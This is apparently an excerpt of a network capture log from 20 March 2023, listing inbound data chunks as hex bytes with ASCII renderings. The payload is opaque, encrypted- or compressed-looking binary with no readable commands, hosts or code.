2023-03-20 10:38:24 UTC	43	IN	Data Raw: cc 95 9c 5c 92 7b 11 00 b5 66 06 32 9f a3 09 5b a5 ec c8 1d 53 a2 04 72 8b 77 1f cb aa b3 6d 4b 70 03 83 2b a7 b8 53 83 cb dc ab 48 05 ca a6 2f 25 51 5e c8 c3 c6 0b cd 0b e9 cc a1 25 c7 fb dd 6b 69 99 fb de db 7b a3 fe ee 18 29 78 3a b6 8c 4d 10 6c b6 34 f4 ac f9 78 cf 19 40 50 79 fc eb 91 7b 50 e0 3b 0d 53 74 75 71 ef b8 1f d6 92 7e ec 14 d5 74 3a 4c ba c5 35 df 20 90 c3 96 b3 cf a9 43 bc 79 26 a2 b6 b9 c0 e1 5c b5 57 e2 3b a4 a2 fa 54 9e a4 14 1c c7 9c e1 94 dd fa 35 48 87 4e aa 9b d3 31 23 9d b3 ef 94 18 8b 7d 42 3c d4 e1 37 f5 a1 9e 13 a0 12 ab b2 a1 d5 5e 73 22 86 be 01 15 61 39 57 d0 c2 9a 07 d3 d0 73 04 9d b2 21 de 6d 46 ff 10 9e 79 68 0d 6a f6 f2 40 d6 62 23 f1 7c b4 e0 b2 14 88 4a 8f 7d 37 0a 02 1d 09 9c 30 1e d3 15 7b 93 20 a1 e8 99 21 49 fd 5c Data Ascii: \{f2[SrwmKp+SH/%Q^%ki{)x:Ml4x@Py{P;Stuq~t:L5 Cy&\W;T5HN1#}B<7^s"a9Ws!mFyhj@b#\|J}70{ !I\
2023-03-20 10:38:24 UTC	44	IN	Data Raw: 43 28 83 61 b1 d4 b5 8c 7c 73 55 93 e3 f1 a0 56 a5 75 e5 6f a2 df dc 91 f3 ad 53 43 c4 98 ec b1 4f e5 05 ba 3d 5c 08 2d 84 6a 32 38 7a c9 5a f2 28 2a 54 b0 81 53 9e e1 d6 75 7b 5a 76 ed 17 79 27 01 f0 7d 93 16 54 e5 6f 8c 6e 50 bc 56 55 53 c3 0e 43 f4 c2 97 d4 29 2d aa df c8 4e 1e 67 48 2b fa fa ce 65 13 18 1b 1c 55 da a3 ef da 44 f3 8a 2f b1 fa da 4c 5f 0c cd 47 b4 24 87 f0 fa a0 7b 51 59 c8 cc 32 c0 35 f4 c0 1b a9 90 f3 a6 63 12 fa 15 9c 13 27 51 b9 9b bf 09 17 fe 8b 6e 94 04 8a b8 64 65 5a a7 3e 55 8b 69 a6 06 9d 7b 5c 09 dd 2e d9 e2 ca 33 80 09 c7 39 ba 16 28 d5 da 59 a4 79 ad e7 75 6e ce 66 03 82 75 a2 91 2a 7a 25 02 ad 95 66 ca db bd ae 7d ec de b1 3e 19 28 25 46 5e 72 87 76 dd df a9 51 79 32 6c 76 11 4d 93 2e 52 28 21 d7 e5 82 15 9c 64 44 04 03 7b Data Ascii: C(a\|sUVuoSCO=\-j28zZ(TSu{Zvy'}TonPVUSC)-NgH+eUD/L_G${QY25c'QndeZ>Ui{\.39(Yyunfuz%f}>(%F^rvQy2lvM.R(!dD{
2023-03-20 10:38:24 UTC	46	IN	Data Raw: 65 80 69 b4 10 d0 cf e7 94 98 2c af 64 0f 60 b5 6c 14 be dd b6 1a 27 9c a2 e5 50 44 07 7d 72 8b 7c 12 b8 d8 db 22 40 07 8d bc 42 ce 1a 76 9f cb 4e c9 48 05 40 c1 37 34 5f d4 ab d9 b4 48 6c 6b 99 6e 80 3e d6 fe 01 2e 75 eb a4 8c c4 0a 01 d0 61 10 01 49 29 bb f8 52 62 11 f8 25 89 93 32 7b cf 13 c1 7e 6f 8e 7e db 7b 31 cf 6e da 40 79 c6 62 ea aa 36 1e 2f 80 13 1e f3 d4 4a 69 92 f5 1d ba 2a 83 c7 9b 92 a6 2c 40 b6 a7 30 b1 98 f0 f4 da 5c b5 5d f6 49 28 e8 fa 24 df 28 17 1c ad 9c f5 80 d9 d2 83 48 c3 44 82 a1 c8 01 2d 8a 43 bc 94 18 cf 55 06 2c d4 f4 03 e6 b6 9f 19 82 25 42 f7 ab b6 73 24 26 95 b2 1a 10 74 4d 59 d7 d1 94 34 e5 a1 8a 23 95 ea 75 c4 6c 4c ea 3f 8c 42 07 7f dd b6 fe 38 fc 5a 3a 7c 7f b3 8f a8 30 9e 5d 90 2b 76 0c 14 0f ac 81 30 6d 1a 5f 7c f2 0f Data Ascii: ei,d`l'PD}r\|"@BvNH@74_Hlkn>.uaI)Rb%2{~o~{1n@yb6/Ji*,@0\]I($(HD-CU,%Bs$&tMY4#ulL?B8Z:\|0]+v0m_\|
2023-03-20 10:38:24 UTC	47	IN	Data Raw: f3 2e f1 db e0 ba 25 2a 0a df 9e b2 cf b0 fc 41 7a 2b bd f5 d9 c4 d8 cc 7d 7d f8 89 13 cf 9d e8 a1 78 06 b6 87 d3 b1 45 e9 29 22 26 94 11 2d f4 cc 99 46 a5 69 f1 83 4d 23 aa a7 27 7c e1 f8 c7 70 d5 76 64 96 d0 31 0f 3b 53 58 82 07 2f 19 4a 90 18 1d 95 5f ab 98 95 d3 43 f4 cc 0a b0 7f b5 aa df c6 5f 11 59 06 22 74 99 30 30 13 18 1b 92 3c 1d a6 76 65 7f 67 9b 28 aa fc e3 a4 ce 61 32 47 be e9 93 a6 99 95 7b 5b 40 de d3 37 ff 0a 61 c0 11 7d 90 e2 89 35 61 b6 14 9c 19 27 4e b2 16 e5 09 40 fe 98 68 e0 88 d0 b8 74 64 49 a0 73 44 8d 61 33 5f b1 31 21 08 d7 2e 8d e6 dc 33 86 1f 55 78 b3 3f bb df a8 7d ec 68 d9 d1 22 69 d8 72 21 11 73 d1 84 2b 6b 26 18 ac 88 d2 ec db c7 c1 76 e8 cf b0 77 51 01 40 4c 5e 69 8e 11 7d ec a8 5b 6a 3d 12 65 13 5b 96 b7 e1 54 b0 c1 f6 8f Data Ascii: .%*Az+}}xE)"&-FiM#'\|pvd1;SX/J_C_Y"t00<veg(a2G{[@7a}5a'N@htdIsDa3_1!.3Ux?}h"ir!s+k&vwQ@L^i}[j=e[T
2023-03-20 10:38:24 UTC	48	IN	Data Raw: f9 ab 0a 3b 74 19 09 4d c2 78 bf 32 6b af e7 9e b4 79 84 53 7b 28 8e 6c 10 c6 b4 ab 1a 57 be 60 ef 50 4e 2b 2a 78 9c a0 29 d7 c9 d1 39 42 3e d3 59 c3 51 c4 66 be 91 3b 83 48 7f 7b 8f 36 1c 05 fc ed d3 6a 42 ec 0b 99 44 84 3e d7 ee 7f 4e 75 eb 89 ff 06 0d 00 c6 29 18 29 73 32 8b fa 46 c5 6f b2 25 b5 84 bf 69 cf 0c dc 73 6e fd ef 9b 09 38 a9 2c ab 68 35 64 76 f4 b4 21 30 1f 9e 12 14 d3 a1 2d 41 a9 f1 35 d5 3e f1 b0 dc 9b ef be ce b5 a7 26 a3 b9 ee ae 30 12 b5 27 40 2f a3 b6 ed 7c 8a a4 14 16 8b 9b c9 f1 cd fa 3f 44 cb 77 de 99 c8 01 31 90 c8 c6 af 18 ce 77 56 5f 4b b4 2b ad a0 12 10 aa 60 42 e3 b5 b1 5e 83 22 86 be 23 2e 67 4a 42 c6 4e ce 0c d4 a3 a2 67 9c c2 44 ec 57 46 f9 3c b0 14 0c 0d 60 ef fa 41 fc 54 33 f5 6f b5 9e ac 06 8f 74 ba a4 24 0c 13 26 35 a4 Data Ascii: ;tMx2kyS{(lW`PN+*x)9B>YQf;H{6jBD>Nu))s2Fo%isn8,h5dv!0-A5>&0'@/\|?Dw1wV_K+`B^"#.gJBNgDWF<`AT3ot$&5
2023-03-20 10:38:24 UTC	49	IN	Data Raw: 39 64 11 60 a2 e5 f4 fa 50 a5 c8 e4 b7 b8 46 33 91 8c b4 d4 b5 ed 50 4a 64 e0 f5 d9 c7 7e 9e 7f f3 9b b2 88 db 8e eb d3 c8 44 d9 65 c0 bb 57 69 23 ac 4f eb 6a 3b e5 cf 9b 7d 73 6b 7e 48 7f ee 0e 79 bb f1 cb d0 85 70 d9 75 ce 8c 55 49 2c 62 5e 4c 9b 0a 45 54 44 88 91 ac 9d 56 24 d4 fd 9a df e7 c7 95 d1 7f 1d aa df c6 4e 1a Data Ascii: 9d`PF3PJd~DeWi#Oj;}sk~HypuUI,b^LETDV$N
2023-03-20 10:38:24 UTC	49	IN	Data Raw: 5e 04 3a f6 e1 43 7f 1d 09 10 34 e3 cb a4 f2 24 6c f4 9b 22 b3 ec f5 a3 b7 62 21 74 a5 c9 bb f0 c3 9f 6d cb 7b e0 c2 32 e2 4d cf c0 11 7d 40 a1 8c 22 0f d2 38 9c 13 2d 79 ec 9a bf 03 68 ba 8a 6e f4 16 8d b8 74 74 4a 8f 41 55 8b 62 95 61 99 7b 2a 1b cc 29 b4 d9 ca 22 8a 05 c9 05 be 04 5a 68 e2 77 9c 6a c9 d7 be 6d ce 6c 08 a7 65 c0 89 a7 28 23 09 ab 45 ba fa a9 12 8b 67 9d f6 f5 19 1f 0a e2 55 4b 69 9e 6d f2 f8 bb 46 6d 26 1b 75 9d ea 95 39 89 1e 31 d6 6a 96 22 9a 77 6c 3f 04 6a 27 f2 a6 ca c7 b1 c4 dd 14 e7 9f 18 eb 80 4d a5 2b 8b 63 14 73 f8 54 61 8e 6f 75 22 31 91 1e 39 c4 43 48 46 53 e8 2f a5 93 9a 7e 29 39 cb a6 57 4e 35 5b f2 fc fb c8 f6 79 55 24 a6 90 ff 06 8d 01 a1 61 7d 2e 7c 6f c6 ad 66 6d 60 b5 5c 8a b2 2b 22 e0 1e 91 e3 65 cc 7e 4c 24 af d0 a1 Data Ascii: ^:C4$l"b!tm{2M}@"8-yhnttJAUba{*)"Zhwjmle(#EgUKimFm&u91j"wl?j'M+csTaou"19CHFS/~)9WN5[yU$a}.\|ofm`\+"e~L$
2023-03-20 10:38:24 UTC	50	IN	Data Raw: bf 79 ea 05 b2 d8 28 fc 9f 33 5e 56 95 e7 8a 40 03 c6 53 e6 cc 24 64 6c f1 1a 0b c1 c5 74 68 92 fb 1d 99 2a 83 c7 34 be 86 db 5e e4 a7 56 b3 98 d0 9a e1 5c bf f5 c7 21 c5 f9 db 54 b9 07 3c 62 ad 9d eb bc 8b fa 35 42 43 2d aa 9a cc 01 27 b7 cf ee 94 0b fe 7e 42 9c d4 fe 2b 8d b6 9f 02 aa 12 7a a5 a1 d5 74 47 49 d4 b4 7b 3d 08 4a 48 db c9 ef 53 d5 a2 80 2f 95 ad 2e c5 6c 4c ee 59 e9 51 0d 07 6a f4 91 28 ee 51 28 83 ff e1 8f d9 7a fb 4c 98 ad 24 04 7b 6e 0f a4 2d 18 bc 65 7c 82 2d d3 e7 de 41 38 92 4b 5d 5f 63 6e 90 67 33 17 00 d0 82 af 2c e0 d2 b1 b4 ac 15 70 8b ef d0 ce 0a 32 36 2b 92 07 23 a4 3b 21 51 b8 23 66 82 2a b1 f0 40 20 cc 6d 9e 39 c5 e1 52 03 26 cf e7 51 e7 7c 4e c4 42 5b 2d b5 14 5c 13 4c 0f 0d c1 f8 ba f8 3c 5d 40 a7 55 99 27 40 08 15 bc cb 47 Data Ascii: y(3^V@S$dlth4^V\!T<b5BC-'~B+ztGI{=JHS/.lLYQj(Q(zL${n-e\|-A8K]_cng3,p26+#;!Q#f@ m9R&Q\|NB[-\L<]@U'@G
2023-03-20 10:38:24 UTC	52	IN	Data Raw: 5b 2b a9 c1 1a 55 38 4f d3 a2 fa f0 4e 66 04 40 09 10 10 c5 a4 f8 0c 57 f4 9b 28 86 03 1b 53 8e 0c cd b8 f6 05 68 2a 9a 6b 84 ae 0b 24 3d cd 86 9a 0b 3f 65 88 6f 0c fb dd f1 05 8d 63 ec d8 f1 55 64 40 a8 bf 00 74 de 01 fa 75 01 8b 9a a5 79 40 5c 87 6f a2 c8 a9 78 37 23 dc 29 d9 e0 ca 22 80 16 db 11 ad b3 d7 20 57 a9 cc 0c 99 cf 33 6f da 92 0a 85 65 2f 8d 74 72 35 f7 ab b8 61 fc af 89 c1 67 ec f6 83 18 1f 0a 9e 80 7e 4b 8b 74 64 c4 ca 51 79 3f 79 65 3c 4b bd 69 88 3b 2d c1 f0 af 2d 8b 64 54 04 04 6b 2d e2 b5 2c df a1 de 34 03 f6 87 12 d4 ae fb 37 29 81 4b 79 73 f8 4f 72 97 56 2a 34 a0 88 2a 37 0e 64 75 5a 42 e9 63 9d aa 83 73 3d 9c aa a6 57 45 f6 0d e8 f1 fe e3 01 6a 50 35 83 c0 ed 00 9b 24 f5 65 6b da 6e 79 c3 b2 7e 8a 4a ee 4f 80 a9 09 59 ea 03 96 e6 15 Data Ascii: [+U8ONf@W(Shk$=?eocUd@tuy@\ox7#)" W3oe/tr5ag~KtdQy?ye<Ki;--dTk-,47)KysOrV4*7duZBcs=WEjP5$ekny~JOY
2023-03-20 10:38:24 UTC	53	IN	Data Raw: 46 1a 44 dd 24 f9 8e 97 08 ce 13 ca 48 7d e6 e3 87 68 44 fc 20 d9 3b 05 64 76 fa aa df 35 7f 86 02 13 f9 90 36 65 90 8a 43 df 2a 87 43 ff 88 9a b4 4f b4 db 50 a2 9c fc f9 f2 54 a4 5f b2 39 cc d4 fa 54 cd 2b 7d 0d a9 4b f6 42 40 da 35 48 c1 66 db 9b c8 0b 53 93 cf ee 8f 49 ce 56 56 2d cb f7 27 df a7 9b 04 7c ed 63 f7 a1 a7 0b 43 22 86 b0 0b 0a 6c 46 59 d5 d1 95 1a c7 a8 b2 16 9a c2 4e db 60 4a fb 35 eb 3b 0c 0d 60 e2 94 3b 84 50 22 fb 54 df 8e a9 1f 99 46 80 7f 57 7e 15 0e 04 8c 4b 1e d3 1f 54 ef 26 d3 e5 a9 09 2e 93 41 4d 23 04 70 9d 61 30 6c 05 b1 83 a5 39 93 d7 a0 de ad 1f 7a ab f3 b1 cf 00 2e df 47 e2 16 32 be 17 20 21 d6 2e 77 8e 3e 09 87 47 3f c9 61 94 47 a3 64 7a 1d 30 a0 93 42 ec 69 5e c0 2f 2f 2a 31 0f 71 33 36 68 0c c7 e1 d9 6c 2d 51 48 bb 5b 85 Data Ascii: FD$H}hD ;dv56eCCOPT_9T+}KB@5HfSIVV-'\|cC"lFYN`J5;`;P"TFW~KT&.AM#pa0l9z.G2 !.w>G?aGdz0Bi^//1q36hl-QH[
2023-03-20 10:38:24 UTC	54	IN	Data Raw: 9e 8d 43 f0 bb ee d8 57 2c b3 b5 bf 34 12 4f 04 03 89 f1 4e 64 05 e6 1e 0f 4c da bd d4 58 48 c2 97 2a db 8a e4 ac a5 e2 37 56 be 2c 18 f5 d2 94 79 79 25 da c2 38 ea 1e 87 c0 11 73 81 f5 ff 48 0f fa 1f 8d 1d 54 3a ab 9b b5 21 2c fe 8b 64 ef 0a 9c 2e 07 0e 5b a7 70 7d e7 69 bd 3c b1 16 21 08 d7 3f 93 f5 5c 95 ef 63 da 11 a7 6a a8 df a8 73 ec 66 e5 c3 31 15 b8 6c 09 86 62 d4 9f 21 ac ac 29 aa e7 9d ef ca cb b2 0d ec de bd 09 11 73 2b 47 5e 72 a3 12 e5 ec a2 40 76 23 95 1e 7b 4c 95 33 a0 57 26 c1 fc 94 22 9c f3 37 6f 05 6a 27 cb d9 da d3 aa c3 c3 1b 60 f4 62 e5 a8 f1 8d 47 80 4b 25 5b 95 5f 72 9d 6f 75 2d 36 35 02 3f f1 6f 6b d2 3b 7c b5 8d ac 85 47 2f 13 8b d3 57 44 e1 7a 98 fd fa ea a5 17 54 2e 84 fe 8d 07 87 23 f2 9e 7c 37 75 79 dc 94 f4 74 48 8e 43 b0 b4 Data Ascii: CW,4ONdLXH*7V,yy%8sHT:!,d.[p}i<!?\cjsf1lb!)s+G^r@v#{L3W&"7oj'`bGK%[_rou-65?ok;\|G/WDzT.#\|7uytHC
2023-03-20 10:38:24 UTC	55	IN	Data Raw: 92 e7 5b 85 d6 44 77 b1 ef 93 2b d2 06 7b 04 8f 30 ec 7f ac 86 03 0e 66 84 be 05 db 24 bf 95 93 89 01 42 d6 c9 93 7c e4 eb 2a a4 d2 96 6d de cd 20 d5 f7 35 69 64 e5 51 bc 49 3a de 5d 63 1a 24 1e a3 50 af 1d c4 bf 5b 05 ab 84 5c eb e3 e3 64 1e 6b a2 03 ca b7 01 b7 55 65 00 f8 d8 62 24 17 6b e7 f0 87 bd d2 95 04 d4 22 d2 65 ec 55 d7 b9 08 5e 1d 8c ca dd 98 4f f4 ea 25 b1 b7 2e 7d 67 f3 2b 67 71 dc 62 29 b5 3b 93 2e 05 c9 67 3f f1 f2 95 6d 02 b7 10 5f df 0e 83 bc 72 56 ea a9 b1 67 58 03 f1 eb f1 31 59 d8 e0 a5 e8 83 7d a2 2e 10 4e 99 c4 6d be 9c cd fd 90 9e 93 cc e0 7d 4e 7c 50 6b 09 42 2c fb 52 e0 8f e3 7e 4f 30 a6 c6 de bb 5c f8 dc 51 e5 13 36 d3 24 79 76 0d dd 83 6a 21 c0 28 94 56 a5 e0 52 09 31 a0 0d af 18 89 90 ec 58 7a 2c b5 1f 6e e5 20 6f 1a 3f f1 8a Data Ascii: [Dw+{0f$B\|*m 5idQI:]c$P[\dkUeb$k"eU^O%.}g+gqb);.g?m_rVgX1Y}.Nm}N\|PkB,R~O0\Q6$yvj!(VR1Xz,n o?
2023-03-20 10:38:24 UTC	57	IN	Data Raw: 81 13 f5 99 45 32 e0 fc b7 f1 0a 37 7b c6 7c 2b a8 a4 b4 5f 13 4b 1f 2d eb fb 98 e1 0c 18 1f 1e 44 db 2a 91 1b 8d e3 4d a5 9f fc e4 ad dc 8e 32 47 b0 e5 bb d8 c4 87 68 4e 7e d6 d3 22 66 0c e3 1a 02 6f 86 e0 95 1a bc f8 15 9c 0c 09 5c bb 8b ae 10 cf e1 8b 6e fc 7e f1 b8 74 61 45 ae 10 ab 89 7b a7 27 83 42 37 0a dd 2e 83 cd c7 20 91 06 ca 08 22 09 28 df aa 0c 97 79 dd cb 1b 78 cf 6c 0f 94 8d d0 9d 30 6b 38 30 3b e6 9f ed c4 fd cc 65 96 ab b7 18 1b 73 2a 47 5e 72 f5 10 e5 ec a2 79 0a 34 03 67 06 b3 94 2a 94 2a 3b ed 92 9a 1c 86 67 3f 7c 04 6a 29 f2 b3 ca d8 76 5d d3 03 f6 85 72 99 a8 fb a1 3a 98 63 c7 73 f8 54 70 ec 0d 7a 34 a4 93 2d 5b 9a 6e 6d 5d 57 f1 c6 e6 a9 9a 74 0b 7d f1 a6 5d 55 f6 7a 80 fd fa ea f3 15 54 2e 84 fe 93 07 87 23 f5 70 6c 3d e0 76 c6 ad Data Ascii: E27{\|+_K-DM2GhN~"fo\n~taE{'B7. "(yxl0k80;esG^ry4g**;g?\|j)v]r:csTpz4-[nm]Wt}]UzT.#pl=v
2023-03-20 10:38:24 UTC	58	IN	Data Raw: 14 51 06 24 f4 24 2c 92 e7 0f 88 d6 44 d8 bc ef 93 e0 df 06 7b ec 82 30 ec a4 a1 86 03 82 6b 84 be 67 d6 24 bf d6 9e 89 01 15 db c9 93 3f e9 eb 2a 77 d0 96 6d f1 ce 20 d5 a2 36 69 64 e0 52 bc 49 22 dd 5d 63 50 27 1e a3 b3 ab 1d c4 bb 5e 05 ab e6 59 eb e3 20 61 1e 6b 43 06 ca b7 51 b2 55 65 38 fd d8 62 3e 12 6b e7 3b 81 bd d2 9a 03 d4 22 f9 62 ec 55 07 be 08 5e dc 8b ca dd 0d 49 f4 ea f6 b7 b7 2e 6b 61 f3 2b 42 77 dc 62 2e b3 3b 93 59 07 c9 67 0b f3 f2 95 95 00 b7 10 e4 dc 0e 83 05 71 56 ea 35 b2 67 58 fa 36 1d 02 09 bb d9 2f d0 02 57 83 20 96 ed b1 21 39 92 41 4b 30 aa 91 6f 92 ed 3f 1a f4 83 af 27 e3 43 d0 b2 ba e1 73 dc 88 a6 31 0b 67 df 55 85 42 23 ae 3a 01 0a d8 22 6c 56 fb fe a7 41 2a 46 45 f4 56 a5 ea 28 01 1d a6 bd 01 e7 76 44 cc 2b 14 6d a9 1e 7a Data Ascii: Q$$,D{0kg$?wm 6idRI"]cP'^Y akCQUe8b>k;"bU^I.ka+Bwb.;YgqV5gX6/W !9AK0o?'Cs1gUB#:"lVAFEV(vD+mz
2023-03-20 10:38:24 UTC	59	IN	Data Raw: 52 28 77 f8 ae 3e b5 6f e3 84 62 a9 da 64 14 72 bc 42 37 7b 26 eb d9 55 20 18 a0 ec b0 d0 11 f3 fc 49 71 ed 28 1c 0b 7e ca a3 bd 0e 57 f4 9b 28 a0 fc e4 10 5e 0c cd 99 94 8f d3 d5 d2 95 6f af 50 dc d4 cc eb 3a fc d6 ef 76 cf 0d 9d 56 4a fa 15 9d 3b 13 51 aa 91 61 cf 60 cc 8b 64 7e 2d e8 b8 74 6f 20 af 56 53 a3 38 bd 36 93 7b 26 22 dc 3e 9c e2 cb 22 81 16 76 d3 ad 1b 86 df a8 77 f7 49 de cf 25 6f ce 6c 54 82 73 c0 8e 2b 52 73 09 aa ed 9f f2 25 c6 d9 6a f8 cd b3 01 12 02 3b 3f 5e 78 8f f0 8d ff ad 47 6a 33 28 5b 0a 40 97 42 f1 3b 27 c5 e7 83 b7 e4 09 44 04 0e 6e 42 8f b5 db d9 cf a8 cd 03 fc 91 f7 e5 bb fc b4 2c ad 42 34 7e e9 58 61 93 55 6a 34 a0 9c 27 39 f6 78 bb 44 40 ef b3 9c ad ab ba 3c 18 fd b7 53 51 1b 08 e1 f4 eb e8 f7 7e 4a 24 83 c2 f4 2d 88 36 ef Data Ascii: R(w>obdrB7{&U Iq(~W(^oP:vVJ;Qa`d~-to VS86{&">"vwI%olTs+Rs%j;?^xGj3([@B;'DnB,B4~XaUj4'9xD@<SQ~J$-6
2023-03-20 10:38:24 UTC	60	IN	Data Raw: f4 2d c0 ef 6a 21 36 ea a0 f9 f3 51 00 d6 6b 0b 3e 63 3c d4 b7 47 10 6a 9a 7f f8 84 b9 6b d7 02 d5 34 4e fd ef 97 68 58 fa a1 e4 40 73 65 53 e8 cc b2 62 6c f1 b1 31 c2 bb 33 cb b7 e9 47 0c 02 83 bd 34 be 86 b8 54 14 82 3c d0 d5 d9 dc 91 fe 90 4c f3 23 15 87 e6 26 92 84 14 6c 0f b5 62 94 cd f0 26 5e bd 45 aa 9a cc 10 31 b5 89 ee 94 12 4e 76 42 2d d0 fe 3a c9 a1 49 00 be 71 57 e6 b2 2b 1f cb 26 95 ae 1a 0f 5d 22 b7 2e 3d b4 5b d5 a2 8c 05 e3 5a 4e c4 68 29 7e 37 98 5b 1e 16 41 ee ec 53 c7 d9 23 f1 76 a0 93 b8 09 a0 14 99 a7 22 2a 14 1c 15 8c ae 1e d3 1f 6f 9f 36 ce c2 50 ff 36 80 5a b5 26 11 6f 90 76 5c 1e 6f b0 89 af fa f7 bd 0d a5 89 37 44 83 80 ba dc 14 38 09 14 f1 06 29 70 3b 29 14 99 6e 66 88 3f de 94 41 86 c6 6d 96 4b a5 e0 52 ca 31 a0 95 5f e7 76 4e Data Ascii: -j!6Qk>c<Gjk4NhX@seSbl13G4T<L#&lb&^E1NvB-:IqW+&]".=[ZNh)~7[AS#v"*o6P6Z&ov\o7D8)p;)nf?AmKR1_vN
2023-03-20 10:38:24 UTC	62	IN	Data Raw: 80 44 c8 5f 58 21 57 2c c0 88 07 55 28 cd 91 1c 01 8e 4d 0e e3 f9 96 6b 7c c9 84 d3 44 3a bb c3 e4 07 12 4f 08 0d fa e2 55 46 9a 19 1f 16 46 d6 b5 e5 21 b6 2a 94 3a bb 02 f2 bf a1 f3 29 28 b5 fa 97 df d2 48 7b 51 8d cb e7 1a dc 65 f4 ca 02 69 90 db dc 22 0e f0 cb 9c 13 0d 10 e6 9b bf 0b 40 ff 8b c8 fe 05 8a a5 74 65 5a 64 7a 55 8b 66 bd 36 99 7b 20 08 dd 2c 9c e2 ca a2 81 16 db 3e ad 17 28 70 a9 77 ec 76 dd cf 33 6e ce 6c 09 82 73 d1 8e 2a 7a 23 09 6b e6 9f ed 19 cc c1 67 fd de b7 18 5b 00 40 47 45 48 8f 7e 3c ed a8 51 19 35 03 7c 10 4d 81 33 9c 30 31 cd e0 88 32 91 4d 53 05 04 60 5f 8b e3 db a3 88 50 cd 03 fc af 20 e5 a8 f1 b6 2f f3 60 2e 73 88 4d 77 86 7a f4 5d b6 7c 2b 3b f6 7e 6b 7b 43 23 29 8c a8 9a 7e 32 15 e3 a1 41 57 ed 22 b6 ed fd f1 d3 e3 46 27 Data Ascii: D_X!W,U(Mk\|D:OUFF!:)(H{Qei"@teZdzUf6{ ,>(pwv3nlsz#kg[@GEH~<Q5\|M3012MS`_P /`.sMwz]\|+;~k{C#)~2AW"F'
2023-03-20 10:38:24 UTC	63	IN	Data Raw: d8 b4 42 e3 0b 99 6e 84 3e d6 fe 7f 4e 75 eb a1 ff db 0b c4 d7 6d 18 ef 73 29 bb e2 46 10 6c f6 25 f9 85 a4 48 cb 13 18 5a 79 fc 8f 91 7b 50 e7 2c cf 4a 67 6f 60 f2 a8 2c 29 76 a9 04 15 d5 a0 58 b3 c5 f1 45 f7 a8 82 cd 9c b3 b6 a8 43 bc b4 22 d0 b7 f9 dc 91 4f b0 46 e6 b5 de b4 04 55 da a3 05 1a 81 98 3c 08 cc fa 35 48 d2 4a b9 9d de 12 2f b6 8b ff 93 09 c6 e7 51 24 c5 f7 59 a6 e2 9f 63 82 e3 42 f7 ab b6 7c 24 28 08 dd 1d eb 65 59 43 c0 c9 b0 04 c5 a8 9c b9 96 d5 43 c4 6c 4f ea 3a 89 5d 21 07 7b f5 d6 11 ee 51 24 d7 57 a5 8f a9 04 80 5b 4e b4 2c 1d 1c 1f 09 2a 4e e1 d7 06 71 93 2a fe 41 b8 32 37 83 4f 72 12 03 6f 90 6d 34 6c eb b1 83 a5 35 e7 ac c3 da 27 1f 70 89 93 a1 bc 8f 39 21 4e e2 14 32 bc 2a 38 51 dd 22 66 a3 2e d1 4a 4f 20 d7 7d ba 5e b4 f0 3d 08 Data Ascii: Bn>Nums)Fl%HZy{P,Jgo`,)vXEC"OFU<5HJ/Q$YcB\|$(eYCClO:]!{Q$W[N,NqA27Orom4l5'p9!N2*8Q"f.JO }^=
2023-03-20 10:38:24 UTC	64	IN	Data Raw: f0 f1 b1 eb cd 60 d3 f1 05 89 a0 5a 34 7a 43 53 a4 0f 40 4d 5c 0a 17 1c 90 56 25 f8 f8 81 52 f8 e4 8e c8 5e 0e f3 de cc 59 35 64 18 2b fa e1 46 79 c5 0b 17 0d 5d da a3 76 65 a9 f0 88 25 b1 f1 c9 02 a8 e0 3c 56 ba c3 b5 d4 d2 94 7b 56 20 5f c3 32 e2 76 e4 d1 01 18 1b f3 8c 28 1d eb 66 19 12 27 5b b9 89 ae 1b 51 ee e4 6b fe 05 a1 ab 7b bb 54 a7 6b 45 a7 60 ac 26 f6 7a 20 08 d7 2e 40 f3 c5 4d ae 17 db 17 be 04 3e cc bc 4f 6b 79 dd cf 22 7d df 78 93 91 66 a3 a5 2a 7a 53 1a bc f6 8a 82 98 cc c1 61 c5 84 b6 18 19 13 57 57 4b 17 ce 7f e4 ea 80 0b 78 35 05 7e 08 5c 80 56 bf 3a 27 c7 e5 9c 30 06 5a 44 04 05 4f 3b 91 cb 82 d3 d0 70 e9 14 e7 9e ab c1 b0 89 76 03 81 3b 8d 56 e1 4f 65 35 5b 60 46 e9 a3 2a 58 52 4a 76 46 5e 5c 90 91 da c1 5f 23 61 52 8e d4 44 e5 03 e1 Data Ascii: `Z4zCS@M\V%R^Y5d+Fy]ve%<V{V _2v(f'[Qk{TkE`&z .@M>Oky"}xfzSaWWKx5~\V:'0ZDO;pv;VOe5[`FXRJvF^\_#aRD
2023-03-20 10:38:24 UTC	65	IN	Data Raw: 69 83 30 27 46 ea fe cd 8c c5 ec 0b 99 7f 97 2f c2 64 6c 5b 07 c0 a1 ff ab 18 17 c7 78 77 6a 73 29 bd da 1c 11 6c b4 36 ee 95 aa 17 8a 12 c0 5d 51 a6 ee 91 7d 52 ff 3d ce 2f 44 65 76 f8 ad 38 2b e1 be 13 14 d4 8f 3c 1b 60 ab 35 af 88 a6 da 87 82 3d 8c 5b c4 74 0e a2 ec 5a f9 f8 4d a2 f5 Data Ascii: i0'F/dl[xwjs)l6]Q}R=/Dev8+<`5=[tZM
2023-03-20 10:38:24 UTC	65	IN	Data Raw: c7 21 c5 eb db 54 b9 07 31 07 bc 85 43 b1 d1 88 6e 69 c3 3e 08 b2 4b 01 27 97 dc f8 ea 13 ce 7d 46 3c c2 d6 6d dd b6 95 93 a1 60 43 f3 a1 b4 62 22 f4 95 a0 1a 01 76 59 c6 b8 3c 98 1f ce b3 90 19 f5 3d b1 3b 44 11 f8 36 9e 77 73 95 6a fc fa 27 68 50 22 fb 6f a8 a4 bb 07 93 64 10 a6 24 06 07 12 1f b8 0f 47 d2 15 7a a4 27 c1 f4 99 a8 38 92 4b 58 2d 13 72 bd 8c ed 10 7d ab 7d b9 35 f7 bd c8 da ad 1f 70 89 80 6c cf 0a e6 31 61 d9 32 23 ae 31 3a 20 d8 0a 36 88 3d d4 4a 41 20 ec 2c da 56 a5 e2 52 09 31 0a 95 51 e7 6b 4e cc 2d f9 2c b5 1e 74 1b 23 69 0c c1 f2 d5 71 3c 5d 4a 2e 5c f6 40 6e 08 1f d3 f3 46 99 15 7a e6 06 ce 04 e7 12 6f fe 35 1c a1 b8 e4 7d 42 4e 08 66 ee 4d cb 4d 71 28 df fe 24 40 7a 69 15 43 c5 28 1f a6 e8 b7 f9 f7 f5 48 31 ba 26 e5 0c 06 fa e8 22 Data Ascii: !T1Cni>K'}F<m`Cb"vY<=;D6wsj'hP"od$Gz'8KX-r}}5pl1a2#1: 6=JA ,VR1QkN-,t#iq<]J.\@nFzo5}BNfMMq($@ziC(H1&"
